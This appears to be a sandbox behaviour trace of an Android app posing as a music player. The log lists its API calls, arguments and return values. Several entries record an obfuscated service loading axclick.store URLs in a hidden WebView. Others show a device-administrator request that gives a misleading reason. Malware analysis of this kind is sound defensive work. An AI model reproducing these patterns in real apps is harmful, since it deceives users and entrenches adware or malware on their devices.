Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@3ad1ce1c
API: android.database.sqlite.SQLiteDatabase->rawQuery at com.twdlphqg.app.dals.PlaylistDal.getAllPlayList:27 Show source
NameTypeValue
sqljava.lang.String
  • toString: SELECT * FROM playlists
selectionArgsnull
  • toString: null
NameTypeValue
Return Valueandroid.database.sqlite.SQLiteCursor
  • toString: android.database.sqlite.SQLiteCursor@a657d87
API: android.content.ContentResolver->query at com.twdlphqg.app.dals.TrackDal.getTracksOnMDS:40 Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://media/external/audio/media
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@3dc072f0
  • Arrays.toString: [_id, title, artist, album_id, _data]
p2null
  • toString: null
p3null
  • toString: null
p4null
  • toString: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@3964069
API: android.widget.LinearLayout->findViewById at com.twdlphqg.app.fragments.ArtistFragment.onCreateView:39 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131361857
NameTypeValue
Return Valueandroid.widget.ListView
  • toString: android.widget.ListView{17287681 V.ED.VC. ......I. 0,0-0,0 #7f0a0041 app:id/list}
API: android.widget.LinearLayout->findViewById at com.twdlphqg.app.fragments.TrackFragment.onCreateView:27 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131361857
NameTypeValue
Return Valueandroid.widget.ListView
  • toString: android.widget.ListView{27e4f9bd V.ED.VC. ......I. 0,0-0,0 #7f0a0041 app:id/list}
API: android.webkit.WebView->loadUrl at com.twdlphqg.app.services.Ryiidrxcjmfb.snewxwricc:32 Show source
NameTypeValue
urljava.lang.String
  • toString: http://g.axclick.store/
API: android.webkit.WebView->loadUrl at com.twdlphqg.app.services.Ryiidrxcjmfb.snewxwricc:32 Show source
NameTypeValue
urljava.lang.String
  • toString: http://g.axclick.store/
API: android.webkit.WebView->loadUrl at com.twdlphqg.app.services.Ryiidrxcjmfb.snewxwricc:32 Show source
NameTypeValue
urljava.lang.String
  • toString: http://g.axclick.store/
API: android.os.Bundle->getString at com.twdlphqg.app.ActionBarParentActivity.onCreate:3 Show source
NameTypeValue
p0java.lang.String
  • toString: android.support.UI_OPTIONS
NameTypeValue
Return Valuenull
  • toString: null
API: android.app.Activity->requestWindowFeature at com.twdlphqg.app.ActionBarParentActivity.onCreate:3 Show source
NameTypeValue
featureIdjava.lang.Integer
  • toString: 8
NameTypeValue
Return Valueandroid.util.AndroidRuntimeException
  • toString: android.util.AndroidRuntimeException: requestFeature() must be called before adding content
API: android.content.res.XmlBlock.Parser->getName at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: menu
API: android.content.res.XmlBlock.Parser->getName at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: item
API: android.content.res.XmlBlock.Parser->getName at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: item
API: android.content.res.XmlBlock.Parser->getName at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: item
API: android.content.res.XmlBlock.Parser->getName at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: item
API: android.content.res.XmlBlock.Parser->getName at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:7 Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: menu
API: android.content.Context->getString at com.twdlphqg.app.ActionBarParentActivity.onCreateOptionsMenu:29 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131427359
NameTypeValue
Return Valuejava.lang.String
  • toString: search
API: android.content.res.Resources->getString at com.twdlphqg.app.ExplorationActivity.setTabFragments:132 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2131427344
NameTypeValue
Return Valuejava.lang.String
  • toString: Track
API: android.content.res.Resources->getString at com.twdlphqg.app.ExplorationActivity.setTabFragments:143 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2131427342
NameTypeValue
Return Valuejava.lang.String
  • toString: Artist
API: android.content.res.Resources->getString at com.twdlphqg.app.ExplorationActivity.setTabFragments:154 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2131427343
NameTypeValue
Return Valuejava.lang.String
  • toString: Album
API: android.content.res.Resources->getString at com.twdlphqg.app.ExplorationActivity.setTabFragments:165 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2131427345
NameTypeValue
Return Valuejava.lang.String
  • toString: Playlist
API: android.content.Intent->putExtra at com.twdlphqg.app.ExplorationActivity.RequestAdmin:11 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.DEVICE_ADMIN
p1android.content.ComponentName
  • toString: ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Rqdnonjuptjh}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
API: android.content.Intent->putExtra at com.twdlphqg.app.ExplorationActivity.RequestAdmin:17 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.ADD_EXPLANATION
p1java.lang.String
  • toString: Permission required for to manage download during device lock.
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
API: android.webkit.WebView->loadUrl at com.twdlphqg.app.ExplorationActivity.snewxwrivv:10 Show source
NameTypeValue
urljava.lang.String
  • toString: http://u.axclick.store/
API: com.twdlphqg.app.SplashActivity->setContentView at com.twdlphqg.app.SplashActivity.onCreate:6 Show source
NameTypeValue
layoutResIDjava.lang.Integer
  • toString: 2130903075
API: android.content.res.Resources->getString at com.twdlphqg.app.SplashActivity.onCreate:18 Show source
NameTypeValue
idjava.lang.Integer
  • toString: 2131427368
NameTypeValue
Return Valuejava.lang.String
  • toString: 1000
API: com.twdlphqg.app.SplashActivity->startActivity at com.twdlphqg.app.SplashActivity$1.run:10 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { cmp=com.twdlphqg.app/.ExplorationActivity }
API: android.content.Intent-><init> at com.twdlphqg.app.adapter.Rloueesjulyo.onReceive:6 Show source
API: android.content.Context->startService at com.twdlphqg.app.adapter.Rloueesjulyo.onReceive:8 Show source
API: android.content.BroadcastReceiver-><init> at com.twdlphqg.app.adapter.Rloueesjulyo.<init>:2 Show source
API: java.util.ArrayList->set at com.twdlphqg.app.adapter.TabsPagerAdapter.replaceItem:6 Show source
API: com.twdlphqg.app.adapter.TabsPagerAdapter->notifyDataSetChanged at com.twdlphqg.app.adapter.TabsPagerAdapter.replaceItem:8 Show source
API: java.util.ArrayList->get at com.twdlphqg.app.adapter.TabsPagerAdapter.getItem:5 Show source
API: android.support.v4.app.FragmentStatePagerAdapter-><init> at com.twdlphqg.app.adapter.TabsPagerAdapter.<init>:17 Show source
API: java.util.ArrayList->get at com.twdlphqg.app.adapter.TabsPagerAdapter.getPageTitle:5 Show source
API: android.support.v4.app.FragmentManager->executePendingTransactions at com.twdlphqg.app.adapter.TabsPagerAdapter.destroyItem:7 Show source
API: java.util.ArrayList->get at com.twdlphqg.app.adapter.TabsPagerAdapter.destroyItem:13 Show source
API: android.support.v4.app.FragmentManager->saveFragmentInstanceState at com.twdlphqg.app.adapter.TabsPagerAdapter.destroyItem:17 Show source
API: android.support.v4.app.FragmentStatePagerAdapter->notifyDataSetChanged at com.twdlphqg.app.adapter.TabsPagerAdapter.notifyDataSetChanged:2 Show source
API: android.support.v4.app.FragmentStatePagerAdapter->setPrimaryItem at com.twdlphqg.app.adapter.TabsPagerAdapter.setPrimaryItem:6 Show source
API: java.util.ArrayList->size at com.twdlphqg.app.adapter.TabsPagerAdapter.getCount:4 Show source
API: com.twdlphqg.app.conf.Rmlsgfvgbscu->snewxwriS at com.twdlphqg.app.conf.Rmlsgfvgbscu$1.run:4 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.conf.Rmlsgfvgbscu$1.<init>:3 Show source
API: com.twdlphqg.app.fragments.NoResultMatch-><init> at com.twdlphqg.app.fragments.NoResultMatch.newInstance:3 Show source
API: android.view.LayoutInflater->inflate at com.twdlphqg.app.fragments.NoResultMatch.onCreateView:7 Show source
API: android.support.v4.app.Fragment-><init> at com.twdlphqg.app.fragments.NoResultMatch.<init>:2 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.models.Artist.<init>:4 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.models.Artist.<init>:3 Show source
API: android.os.Parcel->readInt at com.twdlphqg.app.models.Artist.<init>:5 Show source
API: android.os.Parcel->readString at com.twdlphqg.app.models.Artist.<init>:9 Show source
API: android.os.Parcel->writeInt at com.twdlphqg.app.models.Artist.writeToParcel:5 Show source
API: android.os.Parcel->writeString at com.twdlphqg.app.models.Artist.writeToParcel:9 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.models.Artist.<init>:2 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.ExplorationActivity$4$1.<init>:3 Show source
API: com.twdlphqg.app.ExplorationActivity$4->access$0 at com.twdlphqg.app.ExplorationActivity$4$1.run:7 Show source
API: android.net.Uri->parse at com.twdlphqg.app.ExplorationActivity$4$1.run:12 Show source
API: android.content.Intent-><init> at com.twdlphqg.app.ExplorationActivity$4$1.run:15 Show source
API: android.content.Intent->addFlags at com.twdlphqg.app.ExplorationActivity$4$1.run:18 Show source
API: android.content.Intent->addFlags at com.twdlphqg.app.ExplorationActivity$4$1.run:21 Show source
API: com.twdlphqg.app.ExplorationActivity$4->access$0 at com.twdlphqg.app.ExplorationActivity$4$1.run:29 Show source
API: com.twdlphqg.app.ExplorationActivity->startActivity at com.twdlphqg.app.ExplorationActivity$4$1.run:32 Show source
API: android.content.BroadcastReceiver-><init> at com.twdlphqg.app.PlayerActivity$1.<init>:3 Show source
API: java.util.ArrayList->get at com.twdlphqg.app.PlayerActivity$1.onReceive:11 Show source
API: java.lang.Boolean->valueOf at com.twdlphqg.app.PlayerActivity$1.onReceive:16 Show source
API: android.content.Intent->getStringExtra at com.twdlphqg.app.PlayerActivity$1.onReceive:25 Show source
API: java.lang.Integer->parseInt at com.twdlphqg.app.PlayerActivity$1.onReceive:28 Show source
API: com.twdlphqg.app.PlayerActivity->access$2 at com.twdlphqg.app.PlayerActivity$1.onReceive:34 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.PlayerActivity$2.<init>:3 Show source
API: com.twdlphqg.app.services.AudioPlayerService->getTotalTime at com.twdlphqg.app.PlayerActivity$2.run:6 Show source
API: com.twdlphqg.app.services.AudioPlayerService->getElapsedTime at com.twdlphqg.app.PlayerActivity$2.run:14 Show source
API: java.lang.StringBuilder-><init> at com.twdlphqg.app.PlayerActivity$2.run:23 Show source
API: java.lang.StringBuilder->append at com.twdlphqg.app.PlayerActivity$2.run:28 Show source
API: java.lang.StringBuilder->toString at com.twdlphqg.app.PlayerActivity$2.run:31 Show source
API: android.widget.TextView->setText at com.twdlphqg.app.PlayerActivity$2.run:34 Show source
API: java.lang.StringBuilder-><init> at com.twdlphqg.app.PlayerActivity$2.run:41 Show source
API: java.lang.StringBuilder->append at com.twdlphqg.app.PlayerActivity$2.run:46 Show source
API: java.lang.StringBuilder->toString at com.twdlphqg.app.PlayerActivity$2.run:49 Show source
API: android.widget.TextView->setText at com.twdlphqg.app.PlayerActivity$2.run:52 Show source
API: android.widget.SeekBar->setProgress at com.twdlphqg.app.PlayerActivity$2.run:61 Show source
API: android.os.Handler->postDelayed at com.twdlphqg.app.PlayerActivity$2.run:68 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.R.<init>:2 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.R$bool.<init>:2 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.R$integer.<init>:2 Show source
API: java.lang.Object-><init> at com.twdlphqg.app.SplashActivity$1.<init>:3 Show source
API: android.content.Intent-><init> at com.twdlphqg.app.SplashActivity$1.run:6 Show source
API: com.twdlphqg.app.SplashActivity->finish at com.twdlphqg.app.SplashActivity$1.run:14 Show source
API: com.twdlphqg.app.TouchInterceptor->getContext at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:12 Show source
API: com.twdlphqg.app.TouchInterceptor$1-><init> at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:16 Show source
API: android.view.GestureDetector-><init> at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:18 Show source
API: android.view.MotionEvent->getAction at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:27 Show source
API: android.widget.ListView->onInterceptTouchEvent at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:31 Show source
API: android.view.MotionEvent->getX at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:35 Show source
API: android.view.MotionEvent->getY at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:39 Show source
API: com.twdlphqg.app.TouchInterceptor->pointToPosition at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:43 Show source
API: com.twdlphqg.app.TouchInterceptor->getFirstVisiblePosition at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:48 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:52 Show source
API: android.view.ViewGroup->getLeft at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:56 Show source
API: android.view.ViewGroup->getTop at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:61 Show source
API: android.view.MotionEvent->getRawX at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:66 Show source
API: android.view.MotionEvent->getRawY at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:72 Show source
API: android.view.ViewGroup->setDrawingCacheEnabled at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:81 Show source
API: android.view.ViewGroup->getDrawingCache at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:83 Show source
API: android.graphics.Bitmap->createBitmap at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:86 Show source
API: com.twdlphqg.app.TouchInterceptor->startDragging at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:89 Show source
API: com.twdlphqg.app.TouchInterceptor->getHeight at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:94 Show source
API: java.lang.Math->min at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:102 Show source
API: java.lang.Math->max at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:110 Show source
API: com.twdlphqg.app.TouchInterceptor->stopDragging at com.twdlphqg.app.TouchInterceptor.onInterceptTouchEvent:116 Show source
API: android.view.GestureDetector->onTouchEvent at com.twdlphqg.app.TouchInterceptor.onTouchEvent:10 Show source
API: android.view.MotionEvent->getAction at com.twdlphqg.app.TouchInterceptor.onTouchEvent:21 Show source
API: android.widget.ImageView->getDrawingRect at com.twdlphqg.app.TouchInterceptor.onTouchEvent:30 Show source
API: com.twdlphqg.app.TouchInterceptor->stopDragging at com.twdlphqg.app.TouchInterceptor.onTouchEvent:32 Show source
API: android.view.MotionEvent->getX at com.twdlphqg.app.TouchInterceptor.onTouchEvent:36 Show source
API: com.twdlphqg.app.TouchInterceptor->unExpandViews at com.twdlphqg.app.TouchInterceptor.onTouchEvent:53 Show source
API: com.twdlphqg.app.TouchInterceptor->getCount at com.twdlphqg.app.TouchInterceptor.onTouchEvent:62 Show source
API: com.twdlphqg.app.TouchInterceptor->unExpandViews at com.twdlphqg.app.TouchInterceptor.onTouchEvent:72 Show source
API: android.view.MotionEvent->getX at com.twdlphqg.app.TouchInterceptor.onTouchEvent:75 Show source
API: android.view.MotionEvent->getY at com.twdlphqg.app.TouchInterceptor.onTouchEvent:79 Show source
API: com.twdlphqg.app.TouchInterceptor->dragView at com.twdlphqg.app.TouchInterceptor.onTouchEvent:83 Show source
API: com.twdlphqg.app.TouchInterceptor->getItemForPosition at com.twdlphqg.app.TouchInterceptor.onTouchEvent:85 Show source
API: com.twdlphqg.app.TouchInterceptor->doExpansion at com.twdlphqg.app.TouchInterceptor.onTouchEvent:101 Show source
API: com.twdlphqg.app.TouchInterceptor->adjustScrollBounds at com.twdlphqg.app.TouchInterceptor.onTouchEvent:104 Show source
API: com.twdlphqg.app.TouchInterceptor->getLastVisiblePosition at com.twdlphqg.app.TouchInterceptor.onTouchEvent:108 Show source
API: com.twdlphqg.app.TouchInterceptor->getCount at com.twdlphqg.app.TouchInterceptor.onTouchEvent:111 Show source
API: com.twdlphqg.app.TouchInterceptor->smoothScrollBy at com.twdlphqg.app.TouchInterceptor.onTouchEvent:124 Show source
API: com.twdlphqg.app.TouchInterceptor->getFirstVisiblePosition at com.twdlphqg.app.TouchInterceptor.onTouchEvent:137 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.onTouchEvent:141 Show source
API: android.view.View->getTop at com.twdlphqg.app.TouchInterceptor.onTouchEvent:144 Show source
API: com.twdlphqg.app.TouchInterceptor->getPaddingTop at com.twdlphqg.app.TouchInterceptor.onTouchEvent:147 Show source
API: android.widget.ListView->onTouchEvent at com.twdlphqg.app.TouchInterceptor.onTouchEvent:155 Show source
API: com.twdlphqg.app.TouchInterceptor->myPointToPosition at com.twdlphqg.app.TouchInterceptor.myPointToPosition:7 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildCount at com.twdlphqg.app.TouchInterceptor.myPointToPosition:15 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.myPointToPosition:22 Show source
API: android.view.View->getHitRect at com.twdlphqg.app.TouchInterceptor.myPointToPosition:25 Show source
API: android.graphics.Rect->contains at com.twdlphqg.app.TouchInterceptor.myPointToPosition:27 Show source
API: com.twdlphqg.app.TouchInterceptor->getFirstVisiblePosition at com.twdlphqg.app.TouchInterceptor.myPointToPosition:31 Show source
API: com.twdlphqg.app.TouchInterceptor->stopDragging at com.twdlphqg.app.TouchInterceptor.access$2:2 Show source
API: com.twdlphqg.app.TouchInterceptor->stopDragging at com.twdlphqg.app.TouchInterceptor.startDragging:7 Show source
API: android.view.WindowManager$LayoutParams-><init> at com.twdlphqg.app.TouchInterceptor.startDragging:10 Show source
API: com.twdlphqg.app.TouchInterceptor->getContext at com.twdlphqg.app.TouchInterceptor.startDragging:48 Show source
API: android.widget.ImageView-><init> at com.twdlphqg.app.TouchInterceptor.startDragging:52 Show source
API: android.widget.ImageView->setPadding at com.twdlphqg.app.TouchInterceptor.startDragging:54 Show source
API: android.widget.ImageView->setImageBitmap at com.twdlphqg.app.TouchInterceptor.startDragging:56 Show source
API: android.content.Context->getSystemService at com.twdlphqg.app.TouchInterceptor.startDragging:61 Show source
API: android.view.WindowManager->addView at com.twdlphqg.app.TouchInterceptor.startDragging:70 Show source
API: com.twdlphqg.app.TouchInterceptor->myPointToPosition at com.twdlphqg.app.TouchInterceptor.getItemForPosition:8 Show source
API: com.twdlphqg.app.TouchInterceptor->unExpandViews at com.twdlphqg.app.TouchInterceptor.access$5:2 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.unExpandViews:5 Show source
API: com.twdlphqg.app.TouchInterceptor->getFirstVisiblePosition at com.twdlphqg.app.TouchInterceptor.unExpandViews:10 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.unExpandViews:13 Show source
API: android.view.View->getTop at com.twdlphqg.app.TouchInterceptor.unExpandViews:16 Show source
API: com.twdlphqg.app.TouchInterceptor->getAdapter at com.twdlphqg.app.TouchInterceptor.unExpandViews:19 Show source
API: com.twdlphqg.app.TouchInterceptor->setAdapter at com.twdlphqg.app.TouchInterceptor.unExpandViews:22 Show source
API: com.twdlphqg.app.TouchInterceptor->setSelectionFromTop at com.twdlphqg.app.TouchInterceptor.unExpandViews:24 Show source
API: com.twdlphqg.app.TouchInterceptor->layoutChildren at com.twdlphqg.app.TouchInterceptor.unExpandViews:26 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.unExpandViews:28 Show source
API: android.view.View->getLayoutParams at com.twdlphqg.app.TouchInterceptor.unExpandViews:33 Show source
API: android.view.View->setLayoutParams at com.twdlphqg.app.TouchInterceptor.unExpandViews:38 Show source
API: android.view.View->setVisibility at com.twdlphqg.app.TouchInterceptor.unExpandViews:40 Show source
API: com.twdlphqg.app.TouchInterceptor->getFirstVisiblePosition at com.twdlphqg.app.TouchInterceptor.doExpansion:3 Show source
API: com.twdlphqg.app.TouchInterceptor->getHeaderViewsCount at com.twdlphqg.app.TouchInterceptor.doExpansion:11 Show source
API: com.twdlphqg.app.TouchInterceptor->getFirstVisiblePosition at com.twdlphqg.app.TouchInterceptor.doExpansion:15 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.doExpansion:19 Show source
API: com.twdlphqg.app.TouchInterceptor->getChildAt at com.twdlphqg.app.TouchInterceptor.doExpansion:23 Show source
API: java.lang.Object->equals at com.twdlphqg.app.TouchInterceptor.doExpansion:33 Show source
API: android.view.View->getLayoutParams at com.twdlphqg.app.TouchInterceptor.doExpansion:38 Show source
API: android.view.View->setLayoutParams at com.twdlphqg.app.TouchInterceptor.doExpansion:42 Show source
API: android.view.View->setVisibility at com.twdlphqg.app.TouchInterceptor.doExpansion:44 Show source
API: java.lang.Object->equals at com.twdlphqg.app.TouchInterceptor.doExpansion:50 Show source
API: com.twdlphqg.app.TouchInterceptor->getPositionForView at com.twdlphqg.app.TouchInterceptor.doExpansion:57 Show source
API: com.twdlphqg.app.TouchInterceptor->getCount at com.twdlphqg.app.TouchInterceptor.doExpansion:60 Show source
API: com.twdlphqg.app.TouchInterceptor->getCount at com.twdlphqg.app.TouchInterceptor.doExpansion:73 Show source
API: android.widget.ImageView->getWidth at com.twdlphqg.app.TouchInterceptor.dragView:12 Show source
API: android.view.WindowManager->updateViewLayout at com.twdlphqg.app.TouchInterceptor.dragView:49 Show source
API: android.widget.ImageView->getWidth at com.twdlphqg.app.TouchInterceptor.dragView:56 Show source
API: com.twdlphqg.app.TouchInterceptor->getHeight at com.twdlphqg.app.TouchInterceptor.dragView:59 Show source
API: android.graphics.drawable.Drawable->setLevel at com.twdlphqg.app.TouchInterceptor.dragView:67 Show source
API: android.graphics.drawable.Drawable->setLevel at com.twdlphqg.app.TouchInterceptor.dragView:79 Show source
API: android.graphics.drawable.Drawable->setLevel at com.twdlphqg.app.TouchInterceptor.dragView:84 Show source
API: android.widget.ImageView->setVisibility at com.twdlphqg.app.TouchInterceptor.stopDragging:9 Show source
API: com.twdlphqg.app.TouchInterceptor->getContext at com.twdlphqg.app.TouchInterceptor.stopDragging:11 Show source
API: android.content.Context->getSystemService at com.twdlphqg.app.TouchInterceptor.stopDragging:16 Show source
API: android.view.WindowManager->removeView at com.twdlphqg.app.TouchInterceptor.stopDragging:22 Show source
API: android.widget.ImageView->setImageDrawable at com.twdlphqg.app.TouchInterceptor.stopDragging:26 Show source
API: android.graphics.Bitmap->recycle at com.twdlphqg.app.TouchInterceptor.stopDragging:34 Show source
API: android.graphics.drawable.Drawable->setLevel at com.twdlphqg.app.TouchInterceptor.stopDragging:43 Show source
API: android.widget.ListView-><init> at com.twdlphqg.app.TouchInterceptor.<init>:5 Show source
API: android.graphics.Rect-><init> at com.twdlphqg.app.TouchInterceptor.<init>:9 Show source
API: android.content.Context->getSharedPreferences at com.twdlphqg.app.TouchInterceptor.<init>:15 Show source
API: android.content.SharedPreferences->getInt at com.twdlphqg.app.TouchInterceptor.<init>:20 Show source
API: android.view.ViewConfiguration->get at com.twdlphqg.app.TouchInterceptor.<init>:24 Show source
API: android.view.ViewConfiguration->getScaledTouchSlop at com.twdlphqg.app.TouchInterceptor.<init>:27 Show source
API: com.twdlphqg.app.TouchInterceptor->getResources at com.twdlphqg.app.TouchInterceptor.<init>:31 Show source
API: android.content.res.Resources->getDimensionPixelSize at com.twdlphqg.app.TouchInterceptor.<init>:35 Show source
API: android.content.res.Resources->getDimensionPixelSize at com.twdlphqg.app.TouchInterceptor.<init>:43 Show source
API: com.twdlphqg.app.TouchInterceptor->access$0 at com.twdlphqg.app.TouchInterceptor$1.onFling:9 Show source
API: com.twdlphqg.app.TouchInterceptor->access$1 at com.twdlphqg.app.TouchInterceptor$1.onFling:18 Show source
API: com.twdlphqg.app.TouchInterceptor->access$0 at com.twdlphqg.app.TouchInterceptor$1.onFling:23 Show source
API: android.widget.ImageView->getDrawingRect at com.twdlphqg.app.TouchInterceptor$1.onFling:26 Show source
API: android.view.MotionEvent->getX at com.twdlphqg.app.TouchInterceptor$1.onFling:28 Show source
API: com.twdlphqg.app.TouchInterceptor->access$2 at com.twdlphqg.app.TouchInterceptor$1.onFling:39 Show source
API: com.twdlphqg.app.TouchInterceptor->access$3 at com.twdlphqg.app.TouchInterceptor$1.onFling:43 Show source
API: com.twdlphqg.app.TouchInterceptor->access$4 at com.twdlphqg.app.TouchInterceptor$1.onFling:48 Show source
API: com.twdlphqg.app.TouchInterceptor->access$5 at com.twdlphqg.app.TouchInterceptor$1.onFling:55 Show source
API: android.view.GestureDetector$SimpleOnGestureListener-><init> at com.twdlphqg.app.TouchInterceptor$1.<init>:3 Show source
Method: com.twdlphqg.app.ActionBarParentActivity.onCreate:3 Show source
NameTypeValue
featureIdjava.lang.Integer
  • toString: 8
NameTypeValue
Return Valueandroid.util.AndroidRuntimeException
  • toString: android.util.AndroidRuntimeException: requestFeature() must be called before adding content
Method: com.twdlphqg.app.PlayerActivity.onCreate:23 Show source
Method: com.twdlphqg.app.services.AudioPlayerService.onCompletion:61 Show source
Method: com.twdlphqg.app.ExplorationActivity.RequestAdmin:11 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.DEVICE_ADMIN
p1android.content.ComponentName
  • toString: ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Rqdnonjuptjh}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
Method: com.twdlphqg.app.ExplorationActivity.RequestAdmin:17 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.ADD_EXPLANATION
p1java.lang.String
  • toString: Permission required for to manage download during device lock.
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: android.speech.extra.LANGUAGE_MODEL
p1java.lang.String
  • toString: web_search
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.speech.action.WEB_SEARCH flg=0x10000000 (has extras) }
Method: com.twdlphqg.app.dals.TrackDal.convertOwnDBCursorToArrayList:27 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertOwnDBCursorToArrayList:37 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertOwnDBCursorToArrayList:47 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertOwnDBCursorToArrayList:57 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertOwnDBCursorToArrayList:67 Show source
Method: com.twdlphqg.app.dals.PlaylistDal.addPlayList:72 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertMediaStoreCursorToArrayList:27 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertMediaStoreCursorToArrayList:37 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertMediaStoreCursorToArrayList:47 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertMediaStoreCursorToArrayList:57 Show source
Method: com.twdlphqg.app.dals.TrackDal.convertMediaStoreCursorToArrayList:67 Show source
Method: com.twdlphqg.app.dals.PlaylistDal.convertToArrayList:27 Show source
Method: com.twdlphqg.app.dals.PlaylistDal.convertToArrayList:37 Show source
Method: com.twdlphqg.app.dals.AlbumDal.convertOwnDBCursorToArrayList:27 Show source
Method: com.twdlphqg.app.dals.AlbumDal.convertOwnDBCursorToArrayList:37 Show source
Method: com.twdlphqg.app.dals.AlbumDal.convertMediaStoreCursorToArrayList:27 Show source
Method: com.twdlphqg.app.dals.AlbumDal.convertMediaStoreCursorToArrayList:37 Show source
Method: com.twdlphqg.app.dals.AlbumDal.convertMediaStoreCursorToArrayList:47 Show source
Method: com.twdlphqg.app.dals.AlbumDal.convertMediaStoreCursorToArrayList:57 Show source
Method: com.twdlphqg.app.dals.ArtistDal.convertMediaStoreCursorToArrayList:27 Show source
Method: com.twdlphqg.app.dals.ArtistDal.convertMediaStoreCursorToArrayList:37 Show source
Method: com.twdlphqg.app.dals.ArtistDal.convertOwnDBCursorToArrayList:27 Show source
Method: com.twdlphqg.app.dals.ArtistDal.convertOwnDBCursorToArrayList:37 Show source
Method: ..: Show source
NameTypeValue
Return Valuenull
  • toString: null
Method: com.twdlphqg.app.fragments.ArtistFragment.onCreateView:39 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131361857
NameTypeValue
Return Valueandroid.widget.ListView
  • toString: android.widget.ListView{17287681 V.ED.VC. ......I. 0,0-0,0 #7f0a0041 app:id/list}
Method: com.twdlphqg.app.fragments.TrackFragment.onCreateView:27 Show source
NameTypeValue
p0java.lang.Integer
  • toString: 2131361857
NameTypeValue
Return Valueandroid.widget.ListView
